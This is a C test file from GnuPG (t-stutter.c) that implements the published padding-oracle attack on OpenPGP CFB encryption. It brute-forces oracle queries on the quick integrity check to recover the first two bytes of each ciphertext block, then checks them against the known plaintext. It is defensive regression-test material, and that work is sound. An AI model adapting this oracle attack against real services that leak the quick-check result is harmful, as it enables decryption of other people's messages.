g10/t-stutter.c

   1 /* t-stutter.c - Test the stutter exploit.
   2  * Copyright (C) 2016 g10 Code GmbH
   3  *
   4  * This file is part of GnuPG.
   5  *
   6  * GnuPG is free software; you can redistribute it and/or modify
   7  * it under the terms of the GNU General Public License as published by
   8  * the Free Software Foundation; either version 3 of the License, or
   9  * (at your option) any later version.
  10  *
  11  * GnuPG is distributed in the hope that it will be useful,
  12  * but WITHOUT ANY WARRANTY; without even the implied warranty of
  13  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14  * GNU General Public License for more details.
  15  *
  16  * You should have received a copy of the GNU General Public License
  17  * along with this program; if not, see <https://www.gnu.org/licenses/>.
  18  */
  19
  20 /* This test is based on the paper: "An Attack on CFB Mode Encryption
  21  * as Used by OpenPGP."  This attack uses a padding oracle to decrypt
  22  * the first two bytes of each block (which are normally 16 bytes
  23  * large).  Concretely, if an attacker can use this attack if it can
  24  * sense whether the quick integrity check failed.  See RFC 4880,
  25  * Section 5.7 for an explanation of this quick check.
  26  *
  27  * The concrete attack, as described in the paper, only works for
  28  * PKT_ENCRYPTED packets; it does not work for PKT_ENCRYPTED_MDC
  29  * packets, which use a slightly different CFB mode (they don't
  30  * include a sync after the IV).  But, small modifications should
  31  * allow the attack to work for PKT_ENCRYPTED_MDC packets.
  32  *
  33  * The cost of this attack is 2^15 + i * 2^15 oracle queries, where i
  34  * is the number of blocks the attack wants to decrypt.  This attack
  35  * is completely unfeasible when gpg is used interactively, but it
  36  * could work when used as a service.
  37  *
  38  * How to generate a test message:
  39  *
  40  *   $ echo 0123456789abcdefghijklmnopqrstuvwxyz | \
  41  *         gpg --disable-mdc -z 0 -c  > msg.asc
  42  *   $ gpg --list-packets msg.asc
  43  *   # Make sure the encryption packet contains a literal packet (without
  44  *   # any nesting).
  45  *   $ gpgsplit msg.asc
  46  *   $ gpg --show-session-key -d msg.asc
  47  *   $ ./t-stutter --debug SESSION_KEY 000002-009.encrypted
  48  */
  49
  50 #include <config.h>
  51 #include <errno.h>
  52 #include <ctype.h>
  53
  54 #include "gpg.h"
  55 #include "main.h"
  56 #include "../common/types.h"
  57 #include "util.h"
  58 #include "dek.h"
  59 #include "../common/logging.h"
  60
  61 static void
  62 log_hexdump (byte *buffer, int length)
  63 {
  64   int written = 0;
  65
  66   fprintf (stderr, "%d bytes:\n", length);
  67   while (length > 0)
  68     {
  69       int have = length > 16 ? 16 : length;
  70       int i;
  71       char formatted[2 * 16 + 1];
  72       char text[16 + 1];
  73
  74       fprintf (stderr, "%-8d ", written);
  75       bin2hex (buffer, have, formatted);
  76       for (i = 0; i < 16; i ++)
  77         {
  78           if (i % 2 == 0)
  79             fputc (' ', stderr);
  80           if (i % 8 == 0)
  81             fputc (' ', stderr);
  82
  83           if (i < have)
  84             fwrite (&formatted[2 * i], 2, 1, stderr);
  85           else
  86             fwrite ("  ", 2, 1, stderr);
  87         }
  88
  89       for (i = 0; i < have; i ++)
  90         {
  91           if (isprint (buffer[i]))
  92             text[i] = buffer[i];
  93           else
  94             text[i] = '.';
  95         }
  96       text[i] = 0;
  97
  98       fprintf (stderr, "    ");
  99       if (strlen (text) > 8)
 100         {
 101           fwrite (text, 8, 1, stderr);
 102           fputc (' ', stderr);
 103           fwrite (&text[8], strlen (text) - 8, 1, stderr);
 104         }
 105       else
 106         fwrite (text, strlen (text), 1, stderr);
 107       fputc ('\n', stderr);
 108
 109       buffer += have;
 110       length -= have;
 111       written += have;
 112     }
 113
 114   return;
 115 }
 116
 117 static char *
 118 hexstr (const byte *bytes)
 119 {
 120   static int i;
 121   static char bufs[100][7];
 122
 123   i ++;
 124   if (i == 100)
 125     i = 0;
 126
 127   sprintf (bufs[i], "0x%02X%02X", bytes[0], bytes[1]);
 128   return bufs[i];
 129 }
 130 \f
 131 /* xor the two bytes starting at A with the two bytes starting at B
 132    and return the result.  */
 133 static byte *
 134 bufxor2 (const byte *a, const byte *b)
 135 {
 136   static int i;
 137   static char bufs[100][2];
 138
 139   i ++;
 140   if (i == 100)
 141     i = 0;
 142
 143   bufs[i][0] = a[0] ^ b[0];
 144   bufs[i][1] = a[1] ^ b[1];
 145   return bufs[i];
 146 }
 147 \f
 148 /* The session key stays constant.  */
 149 static DEK dek;
 150 int blocksize;
 151
 152 /* Decode the session key, which is in the format output by gpg
 153    --show-session-key.  */
 154 static void
 155 parse_session_key (char *session_key)
 156 {
 157   char *tail;
 158   char *p = session_key;
 159
 160   errno = 0;
 161   dek.algo = strtol (p, &tail, 10);
 162   if (errno || (tail && *tail != ':'))
 163     log_fatal ("Invalid session key specification.  "
 164                "Expected: cipher-id:HEXADECIMAL-CHRACTERS\n");
 165
 166   /* Skip the ':'.  */
 167   p = tail + 1;
 168
 169   if (strlen (p) % 2 != 0)
 170     log_fatal ("Session key must consist of an even number of hexadecimal characters.\n");
 171
 172   dek.keylen = strlen (p) / 2;
 173   log_assert (dek.keylen <= sizeof (dek.key));
 174
 175   if (hex2bin (p, dek.key, dek.keylen) == -1)
 176     log_fatal ("Session key must only contain hexadecimal characters\n");
 177
 178   blocksize = openpgp_cipher_get_algo_blklen (dek.algo);
 179   if ( !blocksize || blocksize > 16 )
 180     log_fatal ("unsupported blocksize %u\n", blocksize );
 181
 182   return;
 183 }
 184 \f
 185 /* The ciphertext, the plaintext as decrypted by the good session key,
 186    and the cfb stream (derived from the ciphertext and the
 187    plaintext).  */
 188 static int msg_len;
 189 static byte *msg;
 190 static byte *msg_plaintext;
 191 static byte *msg_cfb;
 192
 193 /* Whether we need to resynchronize the CFB after writing the random
 194    data (this is the case for encrypted packets, but not encrypted and
 195    integrity protected packets).  */
 196 static int sync;
 197
 198 static int
 199 block_offset (int i)
 200 {
 201   int extra = 0;
 202
 203   log_assert (i >= 1);
 204   /* Make sure blocksize has been initialized.  */
 205   log_assert (blocksize);
 206
 207   if (i > 2)
 208     {
 209       i -= 2;
 210       extra = blocksize + 2;
 211     }
 212   return (i - 1) * blocksize + extra;
 213 }
 214
 215 /* Return the ith block from TEXT.  The first block is labeled 1.
 216    Note: consistent with the OpenPGP message format, the second block
 217    (i=2) is just 2 bytes.  */
 218 static byte *
 219 block (byte *text, int len, int i)
 220 {
 221   int offset = block_offset (i);
 222
 223   log_assert (offset < len);
 224   return &text[offset];
 225 }
 226 \f
 227 /* Return true if the quick integrity check passes.  Also, if
 228    PLAINTEXTP is not NULL, return the decrypted plaintext in
 229    *PLAINTEXTP.  If CFBP is not NULL, return the CFB byte stream in
 230    *CFBP.  */
 231 static int
 232 oracle (int debug, byte *ciphertext, int len, byte **plaintextp, byte **cfbp)
 233 {
 234   int rc = 0;
 235   unsigned nprefix;
 236   gcry_cipher_hd_t cipher_hd = NULL;
 237   byte *plaintext = NULL;
 238   byte *cfb = NULL;
 239
 240   /* Make sure DEK was initialized.  */
 241   log_assert (dek.algo);
 242   log_assert (dek.keylen);
 243   log_assert (blocksize);
 244
 245   nprefix = blocksize;
 246   if (len < nprefix + 2)
 247     {
 248        /* An invalid message.  We can't check that during parsing
 249           because we may not know the used cipher then.  */
 250       rc = gpg_error (GPG_ERR_INV_PACKET);
 251       goto leave;
 252     }
 253
 254   rc = openpgp_cipher_open (&cipher_hd, dek.algo,
 255                             GCRY_CIPHER_MODE_CFB,
 256                             (! sync /* ed->mdc_method || dek.algo >= 100 */ ?
 257                              0 : GCRY_CIPHER_ENABLE_SYNC));
 258   if (rc)
 259     log_fatal ("Failed to open cipher: %s\n", gpg_strerror (rc));
 260
 261   rc = gcry_cipher_setkey (cipher_hd, dek.key, dek.keylen);
 262   if (gpg_err_code (rc) == GPG_ERR_WEAK_KEY)
 263     {
 264       log_info ("WARNING: message was encrypted with"
 265                 " a weak key in the symmetric cipher.\n");
 266       rc=0;
 267     }
 268   else if( rc )
 269     log_fatal ("key setup failed: %s\n", gpg_strerror (rc));
 270
 271   gcry_cipher_setiv (cipher_hd, NULL, 0);
 272
 273   if (debug)
 274     {
 275       log_debug ("Encrypted data:\n");
 276       log_hexdump(ciphertext, len);
 277     }
 278   plaintext = xmalloc_clear (len);
 279   gcry_cipher_decrypt (cipher_hd, plaintext, blocksize + 2,
 280                        ciphertext, blocksize + 2);
 281   gcry_cipher_sync (cipher_hd);
 282   if (len > blocksize+2)
 283     gcry_cipher_decrypt (cipher_hd,
 284                          &plaintext[blocksize+2], len-(blocksize+2),
 285                          &ciphertext[blocksize+2], len-(blocksize+2));
 286
 287   if (debug)
 288     {
 289       log_debug ("Decrypted data:\n");
 290       log_hexdump (plaintext, len);
 291       log_debug ("R_{b-1,b} = %s\n", hexstr (&plaintext[blocksize - 2]));
 292       log_debug ("R_{b+1,b+2} = %s\n", hexstr (&plaintext[blocksize]));
 293     }
 294
 295   if (cfbp || debug)
 296     {
 297       int i;
 298       cfb = xmalloc (len);
 299       for (i = 0; i < len; i ++)
 300         cfb[i] = plaintext[i] ^ ciphertext[i];
 301
 302       log_assert (len >= blocksize + 2);
 303
 304       if (debug)
 305         {
 306           log_debug ("cfb:\n");
 307           log_hexdump (cfb, len);
 308
 309           log_debug ("E_k([C_1]_{1,2}) = C_2 xor R (%s xor %s) = %s\n",
 310                     hexstr (&ciphertext[blocksize]),
 311                     hexstr (&plaintext[blocksize]),
 312                     hexstr (bufxor2 (&ciphertext[blocksize],
 313                                      &plaintext[blocksize])));
 314           if (len >= blocksize + 4)
 315             log_debug ("D = Ek([C1]_{3-b} || C_2)_{1-2} (%s) xor C2 (%s) xor E_k(0)_{b-1,b} (%s) = %s\n",
 316                        hexstr (&cfb[blocksize + 2]),
 317                        hexstr (&ciphertext[blocksize]),
 318                        hexstr (&cfb[blocksize - 2]),
 319                        hexstr (bufxor2 (bufxor2 (&cfb[blocksize + 2],
 320                                                  &ciphertext[blocksize]),
 321                                         &cfb[blocksize - 2])));
 322         }
 323     }
 324
 325   if (plaintext[nprefix-2] != plaintext[nprefix]
 326       || plaintext[nprefix-1] != plaintext[nprefix+1])
 327     {
 328       rc = gpg_error (GPG_ERR_BAD_KEY);
 329       goto leave;
 330     }
 331
 332  leave:
 333   if (! rc && plaintextp)
 334     *plaintextp = plaintext;
 335   else
 336     xfree (plaintext);
 337
 338   if (! rc && cfbp)
 339     *cfbp = cfb;
 340   else
 341     xfree (cfb);
 342
 343   if (cipher_hd)
 344     gcry_cipher_close (cipher_hd);
 345   return rc;
 346 }
 347
 348 /* Query the oracle with D=D for block B.  */
 349 static int
 350 oracle_test (unsigned int d, int b, int debug)
 351 {
 352   byte probe[32 + 2];
 353
 354   log_assert (blocksize + 2 <= sizeof probe);
 355   log_assert (d < 256 * 256);
 356
 357   if (b == 1)
 358     memcpy (probe, &msg[2], blocksize);
 359   else
 360     memcpy (probe, block (msg, msg_len, b), blocksize);
 361
 362   probe[blocksize] = d >> 8;
 363   probe[blocksize + 1] = d & 0xff;
 364
 365   if (debug)
 366     log_debug ("oracle (0x%04X):\n", d);
 367
 368   return oracle (debug, probe, blocksize + 2, NULL, NULL) == 0;
 369 }
 370
 371 int
 372 main (int argc, char *argv[])
 373 {
 374   int i;
 375   int debug = 0;
 376   char *filename = NULL;
 377   int help = 0;
 378
 379   byte *raw_data;
 380   int raw_data_len;
 381
 382   int failed = 0;
 383
 384   for (i = 1; i < argc; i ++)
 385     {
 386       if (strcmp (argv[i], "--debug") == 0)
 387         debug = 1;
 388       else if (! blocksize)
 389         parse_session_key (argv[i]);
 390       else if (! filename)
 391         filename = argv[i];
 392       else
 393         {
 394           help = 1;
 395           break;
 396         }
 397     }
 398
 399   if (! blocksize && ! filename && (filename = getenv ("srcdir")))
 400     /* Try defaults.  */
 401     {
 402       parse_session_key ("9:9274A8EC128E850C6DDDF9EAC68BFA84FC7BC05F340DA41D78C93D0640C7C503");
 403       filename = xasprintf ("%s/t-stutter-data.asc", filename);
 404     }
 405
 406   if (help || ! blocksize || ! filename)
 407     log_fatal ("Usage: %s [--debug] SESSION_KEY ENCRYPTED_PKT\n", argv[0]);
 408
 409   /* Don't read more than a KB.  */
 410   raw_data_len = 1024;
 411   raw_data = xmalloc (raw_data_len);
 412
 413   {
 414     FILE *fp;
 415     int r;
 416
 417     fp = fopen (filename, "r");
 418     if (! fp)
 419       log_fatal ("Opening %s: %s\n", filename, strerror (errno));
 420     r = fread (raw_data, 1, raw_data_len, fp);
 421     fclose (fp);
 422
 423     /* We need at least the random data, the encrypted and literal
 424        packets' headers and some body.  */
 425     if (r < (blocksize + 2 /* Random data.  */
 426              + 2 * blocksize /* Header + some plaintext.  */))
 427       log_fatal ("Not enough data (need at least %d bytes of plain text): %s.\n",
 428                  blocksize + 2, strerror (errno));
 429     raw_data_len = r;
 430
 431     if (debug)
 432       {
 433         log_debug ("First few bytes of the raw data:\n");
 434         log_hexdump (raw_data, raw_data_len > 8 ? 8 : raw_data_len);
 435       }
 436   }
 437
 438   /* Parse the packet's header.  */
 439   {
 440     int ctb = raw_data[0];
 441     int new_format = ctb & (1 << 7);
 442     int pkttype = (ctb & ((1 << 5) - 1)) >> (new_format ? 0 : 2);
 443     int hdrlen;
 444
 445     if (new_format)
 446       {
 447         if (debug)
 448           log_debug ("len encoded: 0x%x (%d)\n", raw_data[1], raw_data[1]);
 449         if (raw_data[1] < 192)
 450           hdrlen = 2;
 451         else if (raw_data[1] < 224)
 452           hdrlen = 3;
 453         else if (raw_data[1] == 255)
 454           hdrlen = 5;
 455         else
 456           hdrlen = 2;
 457       }
 458     else
 459       {
 460         int lentype = ctb & 0x3;
 461         if (lentype == 0)
 462           hdrlen = 2;
 463         else if (lentype == 1)
 464           hdrlen = 3;
 465         else if (lentype == 2)
 466           hdrlen = 5;
 467         else
 468           /* Indeterminate.  */
 469           hdrlen = 1;
 470       }
 471
 472     if (debug)
 473       log_debug ("ctb = %x; %s format, hdrlen: %d, packet: %s\n",
 474                  ctb, new_format ? "new" : "old",
 475                  hdrlen,
 476                  pkttype_str (pkttype));
 477
 478     if (! (pkttype == PKT_ENCRYPTED || pkttype == PKT_ENCRYPTED_MDC))
 479       log_fatal ("%s does not contain an encrypted packet, but a %s.\n",
 480                  filename, pkttype_str (pkttype));
 481
 482     if (pkttype == PKT_ENCRYPTED_MDC)
 483       {
 484         /* The first byte following the header is the version, which
 485            is 1.  */
 486         log_assert (raw_data[hdrlen] == 1);
 487         hdrlen ++;
 488         sync = 0;
 489       }
 490     else
 491       sync = 1;
 492
 493     msg = &raw_data[hdrlen];
 494     msg_len = raw_data_len - hdrlen;
 495   }
 496
 497   log_assert (msg_len >= blocksize + 2);
 498
 499   {
 500     /* This can at least partially be guessed.  So we just assume that
 501        it is known.  */
 502     int d;
 503     int found;
 504     const byte *m1;
 505     byte e_k_zero[2];
 506
 507     if (oracle (debug, msg, msg_len, &msg_plaintext, &msg_cfb) == 0)
 508       {
 509         if (debug)
 510           log_debug ("Session key appears to be good.\n");
 511       }
 512     else
 513       log_fatal ("Session key is bad!\n");
 514
 515     m1 = &msg_plaintext[blocksize + 2];
 516     if (debug)
 517       log_debug ("First two bytes of plaintext are: %02X (%c) %02X (%c)\n",
 518                  m1[0], isprint (m1[0]) ? m1[0] : '?',
 519                  m1[1], isprint (m1[1]) ? m1[1] : '?');
 520
 521     for (d = 0; d < 256 * 256; d ++)
 522       if ((found = oracle_test (d, 1, 0)))
 523         break;
 524
 525     if (! found)
 526       log_fatal ("Failed to find d!\n");
 527
 528     if (debug)
 529       oracle_test (d, 1, 1);
 530
 531     if (debug)
 532       log_debug ("D = %d (%x) looks good.\n", d, d);
 533
 534     {
 535       byte *c2 = block (msg, msg_len, 2);
 536       byte D[2] = { d >> 8, d & 0xFF };
 537       byte *c3 = block (msg, msg_len, 3);
 538
 539       memcpy (e_k_zero,
 540               bufxor2 (bufxor2 (c2, D),
 541                        bufxor2 (c3, m1)),
 542               sizeof (e_k_zero));
 543
 544       if (debug)
 545         {
 546           log_debug ("C2 = %s\n", hexstr (c2));
 547           log_debug ("D = %s\n", hexstr (D));
 548           log_debug ("C3 = %s\n", hexstr (c3));
 549           log_debug ("M = %s\n", hexstr (m1));
 550           log_debug ("E_k([C1]_{3-b} || C_2) = C3 xor M1 = %s\n",
 551                      hexstr (bufxor2 (c3, m1)));
 552           log_debug ("E_k(0)_{b-1,b} = %s\n", hexstr (e_k_zero));
 553         }
 554     }
 555
 556     /* Figure out the first 2 bytes of M2... (offset 16 & 17 of the
 557        plain text assuming the blocksize == 16 or bytes 34 & 35 of the
 558        decrypted cipher text, i.e., C4).  */
 559     for (i = 1; block_offset (i + 3) + 2 <= msg_len; i ++)
 560       {
 561         byte e_k_prime[2];
 562         byte m[2];
 563         byte *ct = block (msg, msg_len, i + 2);
 564         byte *pt = block (msg_plaintext, msg_len, 2 + i + 1);
 565
 566         for (d = 0; d < 256 * 256; d ++)
 567           if (oracle_test (d, i + 2, 0))
 568             {
 569               found = 1;
 570               break;
 571             }
 572
 573         if (! found)
 574           log_fatal ("Failed to find a valid d for block %d\n", i);
 575
 576         if (debug)
 577           log_debug ("Block %d: oracle: D = %04X passes integrity check\n",
 578                      i, d);
 579
 580         {
 581           byte D[2] = { d >> 8, d & 0xFF };
 582           memcpy (e_k_prime,
 583                   bufxor2 (bufxor2 (&ct[blocksize - 2], D), e_k_zero),
 584                   sizeof (e_k_prime));
 585
 586           memcpy (m, bufxor2 (e_k_prime, block (msg, msg_len, i + 3)),
 587                   sizeof (m));
 588         }
 589
 590         if (debug)
 591           log_debug ("=> block %d starting at %zd starts with: "
 592                      "%s (%c%c)\n",
 593                      i, (size_t) pt - (size_t) msg_plaintext,
 594                      hexstr (m),
 595                      isprint (m[0]) ? m[0] : '?', isprint (m[1]) ? m[1] : '?');
 596
 597         if (m[0] != pt[0] || m[1] != pt[1])
 598           {
 599             log_debug ("oracle attack failed!  Expected %s (%c%c), got %s\n",
 600                        hexstr (pt),
 601                        isprint (pt[0]) ? pt[0] : '?',
 602                        isprint (pt[1]) ? pt[1] : '?',
 603                        hexstr (m));
 604             failed = 1;
 605           }
 606       }
 607
 608     if (i == 1)
 609       log_fatal ("Message is too short, nothing to test.\n");
 610   }
 611
 612   xfree (filename);
 613   return failed;
 614 }